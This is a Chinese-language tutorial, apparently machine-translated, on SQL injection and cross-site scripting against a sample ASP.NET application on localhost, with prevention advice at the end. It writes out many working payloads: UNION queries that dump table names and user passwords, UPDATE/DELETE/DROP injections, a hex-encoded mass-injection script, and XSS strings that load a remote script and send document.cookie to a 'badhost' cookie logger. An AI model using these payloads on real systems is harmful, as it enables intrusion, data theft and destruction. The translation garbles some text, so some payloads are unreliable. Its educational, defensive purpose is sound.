特别声明:本文的目的,是让广大开发者重视自己在做Web系统开发,需要注重的代码安全问题。本文只是案例分析,请勿作攻击他人网站。
什么是SQL注入和跨站点脚本
跨站脚本(XSS或CSS)
- 使恶意攻击者将客户端脚本(JavaScript)或HTML标记注入其他用户查看的网页。
SQL注入
- 通过输入数据从客户端到应用程序插入SQL查询,后来传递给SQL Server实例进行解析和执行。
- 非常常见于PHP和Classic ASP应用程序。
示例应用程序/使用代码
- 设置示例应用程序的步骤
- 创建一个新数据库并将其命名为TestDB。
- 创建一个新的登录并将其映射到TestDB。
- 运行TestDBSetup.sql。
- 运行示例应用程序的步骤
- 此示例代码需要Visual Studio 2008或更高版本; 如果没有,请从Microsoft下载90天的试用版(点击此处)。
- 下载示例代码并解压缩。
- 更新在连接字符串的web.config。
- 运行应用程序并按照本文中所述的示例进行操作。对不起,突出显示的文字在这里没有正确显示。复制和粘贴时,请务必从示例URL中删除任何换行符。
- 下面显示了示例代码的结构。
程序结构如下图:
程序结构图
查询字符串
- SQL注入
定义:通过输入数据从客户端插入到随后传递给SQL Server实例以解析和执行的应用程序的SQL查询。
- UNION SQL注入
我们将使用UNION语句挖掘数据库中的所有表名。连续两个“ - ”表示SQL注释。见下面的注释是绿色的,连字符之后的查询语句不会被SQL服务器评估。
清单1
SELECT * FROM dbo.MyComments WHERE ID = 1 - ORDER BY [Name]
执行如下所示的URL:
执行如下所示的URL:
清单2
http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UNION SELECT NULL FROM INFORMATION_SCHEMA.TABLES -
它将产生结果“使用UNION,INTERSECT或EXCEPT运算符组合的所有查询必须在其目标列表中具有相等数量的表达式。如果我们尝试运行此错误消息出现UNION,INTERSECT或EXCEPT查询在其表达式不相等数量的SELECT清单部分。解决方法是NULL在URL 中继续添加表达式,直到错误消息消失。
清单3
http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UNION SELECT NULL,NULL FROM INFORMATION_SCHEMA.TABLES - ... http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UNION SELECT NULL,NULL, NULL,NULL,NULL,NULL,NULL FROM INFORMATION_SCHEMA.TABLES -
如果查询在查询中具有相等的表达式数量,则错误消息将消失NULL。接下来,尝试用NULL替换TABLE_NAME每个值。如果您收到错误消息,请将其保留为NULL。
清单4
http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UNION SELECT NULL,TABLE_NAME, TABLE_NAME,TABLE_NAME,TABLE_NAME,NULL,NULL FROM INFORMATION_SCHEMA.TABLES--
结果
从上面显示的输出,我们知道数据库包含几个表,即MyComments,tbl_SQLInjection,tbl_users和TestTable。接下来,我们将提取tbl_users表中的每个列名。执行清单5所示的URL。
清单5
http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UNION SELECT NULL,COLUMN_NAME, COLUMN_NAME,COLUMN_NAME,COLUMN_NAME,NULL,NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = ' tbl_users' -
结果
从上面显示的输出可以看出,tbl_users包含地址,密码,电话,秘密,secret2和用户名列。要确认,如下所示是SQL Server中tbl_users表模式的快照。
对不同的表名重复相同的步骤。
清单6
http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UNION SELECT NULL,COLUMN_NAME, COLUMN_NAME,COLUMN_NAME,COLUMN_NAME,NULL,NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = ' MyComments' - ...
让我们检索存储在tbl_users表中的数据。%2b和%27分别是“+”和“”“的URL编码。执行下面显示的URL。
清单7
http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UNION SELECT NULL,用户名%2B %27 - %27%2B密码,秘密%2B%27 - %27%2B secret2,地址,电话%2B%27 - %27%2Baddress,NULL,NULL FROM tbl_users -
结果
要确认,如下所示是tbl_users表内容的快照。对其余表重复相同的步骤。
从sysprocesses表中检索数据
我们还可以从master..sysprocesses表中检索SQL Server实例名称,登录名,数据库名称,SQL Server版本等。执行下面的URL并观察输出。
清单8
http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UNION SELECT NULL,DB_Name([dbid]) %2B CHAR(0x2d)%2B loginame,net_address,hostname%2B CHAR(0x2d)%2B%40%40ServerName, %40%40version,NULL,NULL FROM master..sysprocesses -
更新表
清单9
http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UPDATE tbl_Users SET Password = ' HACKED' WHERE用户名= ' test@test.com' -
结果
删除表中的数据
清单10
HTTP://本地主机:1234 /采样/ ListComments.aspx CID = 99999 DELETE FROM tbl_Users WHERE用户名= ' test@test.com' -
TRUNCATE表
清单11
http:// localhost:1234 / Sample / ListComments.aspx?cid = 99999 TRUNCATE TABLE tbl_Users -
删除表
清单12
http:// localhost:1234 / Sample / ListComments.aspx?cid = 99999 DROP TABLE tbl_Users -
基于Hex的SQL注入
一段时间后,我们将在服务器日志文件中看到下面列出的一些奇怪的条目:
清单13
http://www.YourDomain.com/SomePage.asp?id=1&cat = c DECLARE%20 @ S%20NVARCHAR(4000); SET%20 @ S = CAST(4445434c415245204054207661726368617228323535292c40432076617263 68617228343030302920da4445434c415245205461626c655f437572736f7220435552534f52204 64f5220da73656c65637420612e6e616d652c622e6e616d652066726f6d207379736f626a656374 7320612c737973636f6c756d6e73206220da776865726520612e69643d622e696420616e6420612 e78747970653d27752720616e642028622e78747970653d3939206f7220622e78747970653d3335 206f7220622e78747970653d323331206f7220622e78747970653d3136372920da4f50454e20546 1626c655f437572736f72204645544348204e4558542046524f4d20205461626c655f437572736f 7220494e544f2040542c4043205748494c452840404645 ...
哪个在解码到字符串时会变成(请不要复制并运行这个查询):
清单14
DECLARE @T VARCHAR(255),@C VARCHAR(4000) DECLARE Table_Cursor CURSOR FOR 选择 a.name,b.name 从 sysobjects中,syscolumns中b 其中 a.id = b.id 和 a.xtype = ' U' 和( b.xtype = 99 或 b.xtype = 35 或 b.xtype = 231 或 b.xtype = 167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@ FETCH_STATUS = 0) BEGIN exec(' update [' + @ T + ' ] set [' + @ C + ' ] =' ' “> </ title> <script src =”http:// badscript。 com / bad.js“> </ script> <! - ' ' + [' + @ C + ' ]其中' + @ C + ' 不像' ' %'> </ title> <script SRC = “http://badscript.com/bad.js”> </ SCRIPT> <! - ” ' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
上述查询将查找每个数据库表中的所有文本列,并附加恶意脚本。
举个例子
下面显示的是一个带有查询字符串的URL,以通过注释ID来从SQL Server检索注释:
http:// localhost:1234 / Sample / ListComments.aspx?cid = 1
为了简单起见,我使用一个简单的Update语句来更新表。“ Update dbo.MyComment Set test='HACKED'”查询将看起来像十六进制的
0x5550444154452064626f2e4d79436f6d6d656e74732053455420746573743d274841434b454427。的%3B是的URL编码的“;” 字符。将字符串附加到URL。见下文。
清单15
http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 DECLARE @S VARCHAR(255) SET @ s = CAST(0x5550444154452064626f2e4d79436f6d6d656e74732053455420746573743d274841434b454427 AS VARCHAR(255))exec(@s)- 或 http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 DECLARE @S VARCHAR(255)SET @ s = CAST(0x5550444154452064626f2e4d79436f6d6d656e74732053455420746573743d274841434b454427 AS VARCHAR(255))exec(@s)-
执行上述URL之前:
执行上述URL后:
测试
将以下字符串附加到您的网页的URL中,该URL将参数:
清单16
http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 DECLARE @S VARCHAR(500) SET @ s = CAST(0x4946204f424a4543545f4944282774626c5f53514c496e6a656374696f6e272c275527292 04953204e554c4c20435245415445205441424c452064626f2e5b74626c5f53514c496e6a656374696f6e5d2 85b4f75747075745d205b766172636861725d2835303029204e554c4c2920494e5345525420494e544f20646 26f2e74626c5f53514c496e6a656374696f6e2053454c454354202770616765202d205375626a65637420746 f2053514c20496e6a656374696f6e27 作为 VARCHAR(500))Exec(@s)-
如果URL参数值不是整数,请尝试追加';或');或;在DECLARE关键字的前面。见下面的例子。
清单17
; DECLARE @S VARCHAR(500)SET @ s = CAST(0x4946204f424a4543545f4944282774626c5f53514c 496e6a656374696f6e272c27552729204953204e554c4c20435245415445205441424c452064626f2e5b7462 6c5f53514c496e6a656374696f6e5d285b4f75747075745d205b766172636861725d2835303029204e554c4c 2920494e5345525420494e544f2064626f2e74626c5f53514c496e6a656374696f6e2053454c45435420277061 6765202d205375626a65637420746f2053514c20496e6a656374696f6e27 作为 VARCHAR(500))Exec(@s)- ...
然后,在SQL Server Management Studio 中执行SELECT * FROM dbo.tbl_SQLInjection查询:“ ”。如果看到类似于下面所示的结果,那么网页将进行基于十六进制的SQL注入。对其余网页重复上述步骤。
如果URL参数值不是整数,请尝试追加';或');或;在查询前。
跨站脚本(CSS / XSS)攻击
定义:使恶意攻击者将客户端脚本或HTML标记注入其他用户查看的网页。假设我们有一个登录页面,并显示每个不成功的尝试的错误消息。错误消息存储在URL的查询字符串中,并随后显示在Label
控件中。如下图:
考虑这种情况,匿名用户向您发送一封包含以下内容的电子邮件:
清单18
尊敬的管理员, 登录页面有问题:http:// localhost:1234 / Sample / LoginPage.aspx?strErr =%22%3E%3C%73%63%72%69%70% 74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%6F%63%61%6C%68%6F%73%74%3A%39% 39%39%37% 2F%62%61%64%68%6F%73%74%2F%6D%61%6C%69%63%69%6F%75%73%73%63%72%69%70%74%2E% 6A%73%22% 3E%3C%2F%73%63%72%69%70%74%3E 要么 “登录页面有问题http:// localhost:1234 / Sample / LoginPage.aspx” URL指向上述链接。
URL的一部分被编码为十六进制值。解码时会变成:
清单19
http:// localhost:1234 / Sample / LoginPage.aspx?strErr =“> <script src =” http:// localhost:9997 / badhost / maliciousscript.js“ > </ script >
如果我们让我们防范并点击电子邮件中的链接,浏览器将执行恶意脚本。执行该URL,您应该会看到一个弹出消息。下面显示的是嵌入在查询字符串中以窃取浏览器Cookie的脚本。
清单20
http:// localhost:1234 / Sample / LoginPage.aspx?strErr =%3C%73%63%72%69%70%74%3E%76%61%72% 20%73%3D%27%3C%49%46%52%41%4D%45%20%73%74%79%6C%65%3D%22%64%69%73%70%6C%61% 79%3A%6E%6F%6E% 65%22%20%53%52%43%3D%68%74%74%70%3A%2F%2F%6C%6F%63%61%6C%68%6F%73%74%3A%39% 39%39%37%2F%62% 61%64%68%6F%73%74%2F%63%6F%6F%6B%69%65%6D%6F%6E%73%74%65%72%2E%61%73%70%78% 3F%63%3D%27%2b% 65%73%63%61%70%65%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%2b%27% 3E%3C%5C%2F%49% 46%52%41%4D%45%3E%27%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%73%29% 3C%2F%73%63%72% 69%70%74%3E
解码后的网址如下:
清单21
http:// localhost:1234 / Sample / LoginPage.aspx?strErr = <script> var s ='<IFRAME style =“display:none”SRC = http:// localhost:9997 / badhost / cookiemonster.aspx?c = '%2bescape(document.cookie)%2b'> <\ / IFRAME>'; document.write(s)</ script>
该脚本将嵌入IFRAME页面并指向http:// localhost:9997 / badhost / cookiemonster.aspx,其中包含查询字符串参数“c”。此参数保存由“ SQLInjection_XSS_Demo ”应用程序创建的cookie值。为了演示这个,我在LoginPage.aspx上创建了一些cookies 。cookiemonster.aspx将记录所有在cookie名称和值CookieJar.txt。
清单22
void FakeCookies() { Response.Cookies [ “ email” ] .Value = “ bryian.tan@mydomain.com” ; Response.Cookies [ “ email” ] .Expires = DateTime.Now.AddDays(1); Response.Cookies [ “ age” ] .Value = “ 22” ; Response.Cookies [ “ age” ] .Expires = DateTime.Now.AddDays(1); }
执行上述URL后,我们将在CookieJar.txt中看到以下条目。
所以呢?攻击者将会怎样处理我的cookies信息?假设登录尝试成功后,页面会将一些信息存储在cookie中。使用tbl_users表中找到的用户名登录,然后刷新网页。该页面将从Cookie中提取一些信息,并将结果显示在页面上。见下文。
使用恶意脚本更新表
我们已经知道上一个示例中的表和列名称。执行列表23中显示的URL以使用JavaScript更新MyComment表以篡改Cookie。该脚本将脚本注入到cookies值中。然后导航到ListComments.aspx页面以触发脚本并返回LoginPage.aspx。您应该看到一个弹出消息“ 来自不良主机的XSS ”,表示脚本被浏览器成功执行。
清单23
http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UPDATE MyComments SET Comment =%27 <script> c =“\ <script src = \”http:// localhost:9997 / badhost / maliciousscript.js \“> <\ / script>”; document.cookie =“email =”%2bc; </ script> test%27 WHERE id = 1 -
我们在MyComment表中附加一些恶意脚本。执行如下所示的URL:
清单24
http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 %55%50%44%41%54%45%20%4D%79%43%6F%6D%6D%65 %6E%74%73%20%53%45%54%20%4E%61%6D%65%3D%27%3C%73%63%72%69%70%74%20%73% 72%63%3D%22%68%74%74%70%3A%2F%2F%6C%6F%63%61%6C%68%6F%73%74%3A%39%39%3 9%37%2F%62%61%64%68%6F%73%74%2F%6D%61%6C%69%63%69%6F%75%73%73%63%72%69 %70%74%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E%27%20%2D%2D
URL字符串的一部分在解码时将变为:
清单25
http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UPDATE MyComments SET Name ='<script src =“http:// localhost:9997 / badhost / maliciousscript.js”> </ script>' -
刷新页面,我们将看到如下所示的弹出消息。这表示攻击者制作的恶意脚本被浏览器成功执行。
下面显示的URL将嵌入HTML的IFrame的页面,并会触发cookiemonster.aspx每一个用户导航到时间页面ListComments.aspx页。执行它,导航到ListComments.aspx页面,并观察到新的内容被附加到CookieJar.txt文件,而没有跟踪或警告消息。
清单26
http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UPDATE MyComments SET Name = '<script> var s =“<IFRAME style = display:none SRC = http:// localhost:9997 / badhost / cookiemonster.aspx? c =“%2bescape(document.cookie)%2b”> <\ / IFRAME>“; document.write(s)</ script>' -
快速测试
将以下任何字符串附加到您的网页的参与网址。如果您看到一个弹出消息,那么该网页将受到跨站点脚本攻击。
- http:// localhost:1234 / Sample / LoginPage.aspx?strErr =“> <scrIpt> alert(”XSS“)</ scriPt>
- http:// localhost:1234 / Sample / LoginPage.aspx?strErr =%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%58%53 %53%22%29%3C%2F%73%63%72%69%70%74%3E
- http:// localhost:1234 / Sample / LoginPage.aspx?strErr = </ TITLE> <sCRIPT> alert(“XSS”); </ SCRIPt>
- http:// localhost:1234 / Sample / LoginPage.aspx?strErr = <BODY%20ONLOAD = alert(“XSS”)>
- http:// localhost:1234 / Sample / LoginPage.aspx?strErr =“> <iFRAME%20SRC =”javascript:alert('XSS');“> </ IFRaME>
表单输入
SQL注入
我们可以通过简单地向登录ID 添加“或1 = 1 -或”)或1 = 1--来绕过登录页面,并将任何值放在密码字段中。参见下面的例子。
如果没有定义的最大字符数TextBox
,则攻击者可以将上述SQL语句附加到表单的输入值。假设我们有一个页面来更新评论,并用下面显示的值更新评论。在更新后,我们应该在tbl_SQLInjection表中看到一个新条目。
清单27
' ; DECLARE @S VARCHAR(500)SET @ s = CAST(0x4946204f424a4543545f4944282774626c5f53514c
接下来,我将演示一种简单的方式,攻击者可以更新表中具有相同值的每一列。我们来更新名称值被黑客'';
从MyComments表中检索所有行,您将看到“名称”列中的所有值都更新为“已被黑客入侵”。如前所述,连续两个连字符“ - ”表示SQL注释; 连字符之后的查询语句将不会被SQL Server评估。在复制此演示之前,请确保备份数据库。
跨站脚本
跨站点脚本可使恶意攻击者将客户端脚本或HTML标记注入其他用户查看的网页。这可以通过输入表单发生。使用字符串“ <script src =”http:// localhost:9997 / badhost / maliciousscript.js“> </ script>更新注释。当您导航到ListComments.aspx页面时,您应该会看到一个弹出消息。
快速测试
使用下面列出的任何字符串更新表单值,并观察结果。确保字符串在一行并且没有换行符。如果JavaScript被浏览器成功执行或者显示意想不到的结果,那么网页将受到跨站点脚本编写。
- <BODY ONLOAD =''javascript:window.location =“http://www.google.com”'>>
- <BODY ONLOAD =“javascript:alert(''XSS'')”>
- <p onmouseover = javascript:window.location =“http:// www。google.com”;> test
- <p onmousemove = javascript:window.location =“http:// www。google.com”;> test
- <p onMouseDown = javascript:window.location =“http://www.google.com”;> test
- <span onmouseover = javascript:window.location =“http:// www。google.com”;> test </ span>
- <span onmousemove = javascript:window.location =“http://www.google.com”;> test </ span>
- <h2 onmouseover = javascript:window.location =“http://www.google.com”;> test
- <div onmouseover = javascript:window.location =“http:// 1208929383”;> test
- <meta http-equiv =“refresh”content =“1; URL = http:// 1208929383”>
- <b onmouseover = javascript:window.location =“http://www.google.com”;> test
- <img onmouseover = javascript:window.location =“http://www.google.com”;>
- <img src = http://www.google.com/images/srpr/nav_logo14.png width =“1”height =“1”onLoad = javascript:window.location =“http://www.google.com” ;>
- <div style =“width:100%”onresize = javascript:window.location =“http://www.google.com”;> test </ div>(调整浏览器大小以查看行为)
- <tt style =“width:100%”onmousemove = javascript:window.location =“http://www.google.com”;> test
- <PLAINTEXT>测试
- <object>测试
- <applet>测试
- <textarea>测试
- <title>测试
- <table>测试
- <style>测试
- <noscript>测试
JavaScript事件注入漏洞
该
JavaScriptFunctionInjection.aspx页面包含如何使用ASP.NET内嵌标签和客户端输入控制复制的JavaScript事件注入漏洞的两个例子。第一个示例使用单引号,第二个示例使用引号。请参见下图TextBox。如果ValidateRequest设置为false,将出现这种漏洞。
在输入框中键入一些内容,您应该看到类似于图20的结果。注意:第一个示例的输出已编码,单引号被双引号替换。
到底是怎么回事?我们编码了输出,并用双引号代替了单引号!我们来仔细看看HTML标记代码。JavaScript事件已成功注入第一个示例,但被第二个示例视为字符串。该HtmlEncode
方法没有避免单引号,而是正确地转义了引号。我建议避免在单引号之间包装ASP.NET内联代码。别忘了测试第二个例子。第二个例子的输出没有被有意编码。
清单28
< 输入ID = “ 文本1" 名称=” 文本1" 类型= “ 文本” 值= ' A' ' 的onkeydown = 警报( “ 疑难杂症+的onkeydown”)''' / >
< input id =“ Text2” name =“ Text2” type =“ text” value =“ a” onKeyDown = alert(“ gotcha + onKeyDown”)“'” / >
防止SQL注入/跨站点角本的注意事项
- 不要仅仅依靠客户端验证(JavaScript)
攻击者可以通过在Web浏览器中禁用JavaScript来绕过客户端验证。不要仅依赖于JavaScript来搜索和替换潜在的危险HTML语句或SQL注入关键字。确保在服务器端重新验证用户输入。我知道这是很多工作,但为了安全起见,我们必须这样做。在“添加注释”部分中,该页面使用JavaScript来检查空白字段。尝试在浏览器上禁用JavaScript,并再次添加评论。点击此处了解如何禁用和启用JavaScript。
- 用双引号('')替换单引号(')
我看到一些网站提到可以通过简单地用双引号替换单引号来防止SQL注入漏洞。情况并非如此; 攻击者仍然可以使用恶意脚本或HTML标记注入表,而不使用单引号。恶意用户可以通过使用不同的字符编码来绕过过滤器。
- 内联代码/标签
有几种从ASP.NET程序中显示信息的方法。我们可以使用嵌入式代码块在页面中显示信息。<%...%>或使用<%= ...%>构造。另一种方法是使用数据绑定语法<%#...%>将控件属性值绑定到数据,并指定检索,更新,删除和插入数据的值。确保在网页中显示之前,将表单数据和其他客户端请求进行编码(HttpUtility.HtmlEncode)。这将有助于防止可能的跨站点脚本注入攻击。使用ASP.NET 4.0,新的<%:...%>代码块 - 语法将在渲染之前自动对输出进行编码。
- 存储过程
我在我的Web应用程序中使用存储过程。存储过程是否免疫SQL注入攻击?答案是“依赖”。如果我们在Stored Procedures中使用动态SQL语句,那么它们可能对SQL Injection攻击开放。下面显示了一个存储过程,其中包含动态SQL语句。
更新注释字段的值哈哈哈'; -。“使用内联查询更新”和“使用SP - 动态查询更新”按钮将更新表中具有指定值的每个注释字段。另一方面,“使用SP更新”按钮只会更新当前记录。
- 请求验证(ASP.NET)
请注意,ValidateRequest指令中的@page属性设置为false,以便模拟经典ASP环境,并防止.NET Framework抛出错误:“ Request.Form从客户端检测到潜在的危险值”。如果您在应用程序中遇到此错误消息,请在禁用请求验证之前重新思考业务逻辑或页面体系结构。